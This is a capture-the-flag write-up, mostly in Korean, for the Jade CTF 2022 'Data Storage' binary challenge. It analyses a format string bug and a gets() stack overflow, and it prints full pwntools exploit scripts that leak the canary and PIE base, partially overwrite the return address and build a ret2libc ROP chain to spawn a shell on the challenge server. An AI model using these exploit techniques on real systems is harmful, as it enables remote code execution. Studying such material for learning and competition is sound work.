Jade CTF 2022 - Data Storage (canary, pie)

Info

(32/630) solves

description

In his DBMS course, Shekhar was learning about CRUD operations. He was taught these operations in SQL, but he wanted to try them out in C. He wrote a program for reading data from input, and then scrambling it so other users can’t figure out what is stored. He gave me the binary to test it, could you help me out?

nc 34.76.206.46 10003

for player

1
2
.
└── chall

Analysis

Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled

카나리가 있고 PIE도 있다..

Source Code

코드는 간단하다. main()에서 database_store()를 호출하는데 이 함수에 취약한 부분이 존재한다. 그래서 이 함수 하나만 보면 된다.

Vulnerability

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
unsigned __int64 database_store()
{
unsigned int v1; // [rsp+4h] [rbp-23Ch]
unsigned int v2; // [rsp+4h] [rbp-23Ch]
unsigned int v3; // [rsp+4h] [rbp-23Ch]
int v4; // [rsp+4h] [rbp-23Ch]
int v5; // [rsp+4h] [rbp-23Ch]
int v6; // [rsp+4h] [rbp-23Ch]
int v7; // [rsp+4h] [rbp-23Ch]
int v8; // [rsp+4h] [rbp-23Ch]
int v9; // [rsp+4h] [rbp-23Ch]
int v10; // [rsp+4h] [rbp-23Ch]
int v11; // [rsp+4h] [rbp-23Ch]
int v12; // [rsp+4h] [rbp-23Ch]
int v13; // [rsp+4h] [rbp-23Ch]
char s[16]; // [rsp+10h] [rbp-230h] BYREF
char yes[16]; // [rsp+20h] [rbp-220h] BYREF
char input[520]; // [rsp+30h] [rbp-210h] BYREF
unsigned __int64 v17; // [rsp+238h] [rbp-8h]

v17 = __readfsqword(0x28u);
puts("Are you sure that you want to store data [yes/no]?");
fgets(s, 10, stdin);
s[strcspn(s, "\r\n")] = 0;
printf("You entered: ");
printf(s); // fsb
puts("\nIs that correct?");
fgets(yes, 10, stdin);
yes[strcspn(yes, "\r\n")] = 0;
if ( strcmp(yes, "yes") )
exit(0);
puts("Now, it's time to enter your details");
puts("Note that there is a length given for each field, you have to enter atleast that many characters");
puts("Fill it up with spaces if your input is less");
printf(
"Enter your Name(%d), Admission Number(%d), Branch(%d), University(%d), and Address(%d) (in this order):\n",
n,
an,
b,
u,
a[0]);
gets(input); // bof
puts("Scrambling your data so that hackers can't steal it...");
modify(&name, input, 0LL, n);
v1 = n;
modify(&admno, input, n, an);
v2 = an + v1;
modify(&branch, input, v2, b);
v3 = b + v2;
modify(&university, input, v3, u);
modify(&address, input, u + v3, a[0]);
memset(input, 0, 0x200uLL);
modify(input, &name, 0LL, (unsigned int)((int)n / 2));
v4 = (int)n / 2;
modify(&input[(int)n / 2], &branch, 0LL, (unsigned int)((int)b / 3));
v5 = (int)b / 3 + v4;
modify(&input[v5], &admno, 0LL, (unsigned int)((int)an / 3));
v6 = (int)an / 3 + v5;
modify(&input[v6], &university, 0LL, (unsigned int)((int)u / 2));
v7 = (int)u / 2 + v6;
modify(&input[v7], &address, 0LL, (unsigned int)(a[0] / 10));
v8 = a[0] / 10 + v7;
modify(&input[v8], &branch, (unsigned int)((int)b / 3), b - (int)b / 3);
v9 = b - (int)b / 3 + v8;
modify(&input[v9], &name, (unsigned int)((int)n / 2), n - (int)n / 2);
v10 = n - (int)n / 2 + v9;
modify(&input[v10], &address, (unsigned int)(a[0] / 10), (unsigned int)(a[0] / 10));
v11 = a[0] / 10 + v10;
modify(&input[v11], &university, (unsigned int)((int)u / 2), (unsigned int)((int)u / 4));
v12 = (int)u / 4 + v11;
modify(&input[v12], &admno, (unsigned int)((int)an / 3), an - (int)an / 3);
v13 = an - (int)an / 3 + v12;
modify(&input[v13], &address, (unsigned int)(2 * (a[0] / 10)), (unsigned int)(a[0] - 2 * (a[0] / 10)));
modify(
&input[a[0] - 2 * (a[0] / 10) + v13],
&university,
(unsigned int)((int)u / 2 + (int)u / 4),
u - ((int)u / 2 + (int)u / 4));
return __readfsqword(0x28u) ^ v17;
}

코드가 복잡해보이지만(?) 기능 분석을 할 필요는 없다. 취약점을 찾는 것이 목표이기 때문에 필요한 부분만 읽으면 된다.

그러면 fsb와 bof가 대놓고 보이는 것을 찾을 수 있다.

fsb로 필요한 것을 leak하고 bof를 이용해서 ROP를 하면 된다. 말은 이렇게 간단하지만 익스하는데 꽤나 오래걸렸고 생각보다 스트레스를 받았었다.

Exploit

local 기준으로 익스를 작성했는데 remote는 잘 되지 않는 문제(?)가 발생했다. (로되리안 ㅜ)

local과 remote의 libc가 달라서 스택에 값이 쌓이는게 달라졌다. 그래서 leak할 offset을 루프를 돌려서 찾는 과정이 추가적으로 필요하다.

아래부터 remote 기준으로 설명을 한다.

Exploit Scenario

  • 사전 작업: fsb를 이용하여 canary, pie offset 찾기
  1. canary leak하고 main으로 돌리기
  2. pie leak하고 main으로 돌리기
  3. got 출력해서 libc 구하기
  4. system('/bin/sh\x00')으로 흐름 돌리기

pre-work

leak canary & pie

canary leak을 위한 코드는 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

#context.log_level = 'debug'

#p = process('./chall')
p = remote('34.76.206.46', 10003)
elf = ELF('./chall')
libc = elf.libc


off = 30
while 1:
try:
find_canary = '%'+str(off)+'$p'
p.sendlineafter(']?\n', find_canary)
off = off+1

p.recvuntil(': ')
leak = p.recvline()
canary = int(leak[2:],16)

print(off-1, hex(canary))

#log.info(hex(canary))

p.sendlineafter('correct?\n', b'yes')

payload = b''
payload += b'A' * (0x210-0x8)
payload += p64(canary)
payload += b'B' * 0x8
payload += b'\x78\x15' # ret

p.sendlineafter(':\n', payload)
p.recvuntil(']?\n') ######## !!! ########
break
except Exception as e:
print(e)
p.close()
#p = process('./chall')
p = remote('34.76.206.46', 10003)

pause()

p.interactive()

제일 먼저 해야할 일은 canary를 leak하는 것이다. offset을 찾기 위해서 루프를 돌 때 try-except을 이용해서 예외처리를 해주었다. 만약 예외가 발생한다면 다시 remote에 연결해주었는데, p.close()를 안해준다면 프로세스가 계속 살아있기 때문에 remote에 새로 연결해주기 전에 close를 해주어야 한다.

fsb를 이용해서 leak하고 유효한 주소를 가져오는 과정에서 예외가 발생할 가능성이 존재한다. 주소를 출력할 때 16진수 값이거나 (nil)을 출력해주는데 후자일 경우 int(leak, 16)에서 에러가 발생하기 때문에 except으로 가서 예외처리를 해줄 수 있다.

1
2
3
[+] Opening connection to 34.76.206.46 on port 10003: Done
invalid literal for int() with base 16: b'il)\n'
[*] Closed connection to 34.76.206.46 port 10003

루프가 끝나고 pause를 해줬기 때문에 멈추는 곳을 보면 바로 canary를 찾을 수 있다.

1
2
3
[+] Opening connection to 34.76.206.46 on port 10003: Done
77 0x8a3ffc38e32e9500
[*] Paused (press any to continue)

offset은 77임을 바로 알 수 있다.

pause하는 조건은 주석에 !!!한 곳을 보면 알 수 있다. ]?\n은 이 함수 초반에 출력하는 문자열 중 일부이다. ret를 이 함수로 돌려주었기 때문에 이것이 출력된다면 leak한 값이 canary임을 바로 확인할 수 있다.

사실 canary가 구해져도 바로 ret로 돌릴 수가 없다. 왜냐하면 pie base의 값이 랜덤이기 때문에 아래와 같은 base이길 기대해야한다.

1
0x561aa9000000

내가 돌리고 싶은 주소는 pie_base + 0x1578인데 디버깅을 하다보면 0x01578이 고정인 것을 알 수 있다. 2.5바이트가 고정인데 0.5바이트만 쓸 수 없으니 2바이트만 덮을 수 있다. ret를 2바이트만 덮으면 어차피 끝에 null이 자동으로 붙기 때문에 1/16의 확률로 내가 원하는 함수로 흐름을 돌릴 수 있게 된다.

canary leak을 성공하고 흐름 돌리는 것도 성공하면 이제 pie leak을 하면 된다. pie leak도 canary를 leak한 것과 동일하게 진행하면 된다. 다만 차이점은 canary는 rip를 바꾸면서 검증이 바로 되어서 알 수 있는 반면에 pie는 offset과 함께 출력해주면서 pie 주소인 것을 leak하면 된다.

그렇게 구한 leak할 pie offset은 85이다.

Exploit Code

문제 풀 때의 기억을 살리고 싶어서 그 때 작성했던 익스 코드를 그대로 올린다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from pwn import *

#context.log_level = 'debug'

#p = process('./chall')
p = remote('34.76.206.46', 10003)
elf = ELF('./chall')
libc = elf.libc

off = 30
while 1:
try:
off = 77
find_canary = '%'+str(off)+'$p'
p.sendlineafter(']?\n', find_canary)
#off = off+1

p.recvuntil(': ')
leak = p.recvline()
canary = int(leak[2:],16)

#print(off, hex(canary))

log.info(hex(canary))

p.sendlineafter('correct?\n', b'yes')

payload = b''
payload += b'A' * (0x210-0x8)
payload += p64(canary)
payload += b'B' * 0x8
payload += b'\x78\x15'

p.sendlineafter(':\n', payload)
p.recvuntil(']?\n')
break
except Exception as e:
print(e)
p.close()
#p = process('./chall')
p = remote('34.76.206.46', 10003)

pause()
'''
off = 30
while 1:
try:
off = 85
find_pie = '%'+str(off)+'$p'
p.sendline(find_pie)
#off = off+1

p.recvuntil(': ')
leak = p.recvline()
pie = int(leak[2:],16)

print(off, hex(pie))

p.sendlineafter('correct?\n', b'yes')

payload = b''
payload += b'A' * (0x210-0x8)
payload += p64(canary)
payload += b'B' * 0x8
payload += b'\x78\x15'

p.sendlineafter(':\n', payload)
p.recvuntil(']?\n')
continue
except Exception as e:
print(e)
p.close()
#p = process('./chall')
p = remote('34.76.206.46', 10003)
'''

#p.interactive()
#exit(0)

p.sendline(b'%85$p')

p.recvuntil('0x')
pie = int(p.recv(12),16) - 0x1577
info(hex(pie))

p.sendlineafter('ct?\n', b'yes')

pop_rdi = pie+0x1663
ret = pie+0x909

payload = b''
payload += b'A' * (0x210-0x8)
payload += p64(canary)
payload += b'B' * 0x8
#payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(pie + elf.got['puts'])
payload += p64(pie + elf.plt['puts'])
payload += p64(pie + elf.symbols['main'])

pause()
p.sendlineafter(':\n', payload)

#p.recvline()
#leak = int(p.recv(14)[:-1].decode(), 16)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
info('puts leak :: ' + hex(leak))

#puts 6a0
#gets d90

'''
libc_base = leak - libc.symbols['puts']
info('libc base :: '+ hex(libc_base))

system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
'''

system = leak - 0x2a300
binsh = leak + 0x11d7b7

p.sendline(b'asdf')

p.sendlineafter('ct?\n', b'yes')

payload = b''
payload += b'A' * (0x210-0x8)
payload += p64(canary)
payload += b'B' * 0x8
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system)

p.sendlineafter(':\n', payload)

p.interactive()

Flag

1
jadeCTF{sh3llc0ding_but_w1th_4_tw1st}

tmi

롸업 적으니까 이 문제는 매우 간단한 문제임을 깨달았다. 부끄럽지만 pie가 걸려있는데 어떻게 ROP를 해야할지 고민을 했다. 일단 local에서 진행할 때도 마지막 2 바이트만 덮을 생각을 못했었고, local 후에 remote의 libc가 다른데 pie가 걸려있는데 그걸 어떻게 알아내야 하는지.. 등등 고민을 꽤나 했다. (offset을 브포하면 된다.)

이 문제 덕에 주소 일부만 덮을 수 있다는 생각과 루프, try-except 등을 이용하여 offset을 구하는 과정을 배울 수 있었다.